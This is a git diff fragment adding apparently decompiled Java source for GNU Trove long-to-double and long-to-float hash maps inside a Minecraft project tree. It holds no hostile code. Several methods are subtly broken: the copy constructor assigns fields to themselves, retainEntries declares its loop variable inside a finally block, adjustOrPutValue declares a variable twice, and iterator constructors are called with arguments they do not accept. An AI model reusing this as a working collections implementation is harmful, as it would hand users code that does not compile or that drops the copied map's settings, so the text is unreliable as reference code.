+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TLongDoubleHashMap.TLongDoubleValueHashIterator(TLongDoubleHashMap.this, TLongDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TLongDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TLongDoubleIterator
+  {
+    TLongDoubleHashIterator(TLongDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongDoubleMap)) {
+      return false;
+    }
+    TLongDoubleMap that = (TLongDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongFloatHashMap.java
new file mode 100644
index 0000000..2d41821
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongFloatHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TLongFloatIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TLongFloatMap;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TLongFloatProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongFloatHashMap
+  extends TLongFloatHash
+  implements TLongFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TLongFloatHashMap() {}
+  
+  public TLongFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongFloatHashMap(int initialCapacity, float loadFactor, long noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongFloatHashMap(long[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongFloatHashMap(TLongFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongFloatHashMap)) {
+      TLongFloatHashMap hashmap = (TLongFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(long key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(long key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(long key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Float> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TLongFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TLongFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(long key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongFloatIterator iterator()
+  {
+    return new TLongFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(long key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(long key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongFloatHashMap.TLongFloatKeyHashIterator(TLongFloatHashMap.this, TLongFloatHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongFloatHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TLongFloatHashMap.TLongFloatValueHashIterator(TLongFloatHashMap.this, TLongFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TLongFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
